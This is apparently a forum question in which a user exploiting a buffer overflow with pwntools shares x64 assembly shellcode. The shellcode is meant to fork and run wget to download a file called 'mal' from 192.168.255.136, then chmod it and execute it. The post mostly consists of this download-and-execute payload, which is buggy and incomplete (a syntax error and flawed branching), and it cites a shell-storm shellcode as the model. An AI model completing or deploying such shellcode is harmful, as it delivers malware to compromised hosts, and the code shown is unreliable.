The problem is based on linux/x64 asm wget+chmod+exec

Question

The problem is based on linux/x64 asm wget+chmod+exec

I have some questions to ask I am using pwntool for buffer overflow attack, I want to stuff the shellcode in the stack for him to run, I tested using execve("/bin/sh') and I can get the shell successfully, but now I want him to download the malware from external host, for example 192.168.255.136/mal and download After downloading, give him execute permission to chmod 777 mal and finally execute him . /mal

I tried to write wget to download external files but there is no request

The wget asm I tried to write is as follows

_start:
    xor eax, eax
    mov rax 0x39
    syscall

    xor rbx, rbx
    cmp rax, rbx
    je child

child:
    xor rax, rax
    push rax

    push 0x6c616d2f
    push 0x2f363331
    push 0x2e353532
    push 0x2e383631
    push 0x2e323931
    mov rsi, rsp

    push 0x74
    push 0x6567772f
    push 0x6e69622f
    push 0x7273752f
    mov rdi, rsp

    push rax 
    push rsi 
    push rdi 
    mov rsi, rsp 

    mov eax, 0x3b  
    xor rdx, rdx 
    syscall

this is my modified it by referring to shellstorm's x86 download+chmod+exec, but it failed

source : https://shell-storm.org/shellcode/files/shellcode-862.html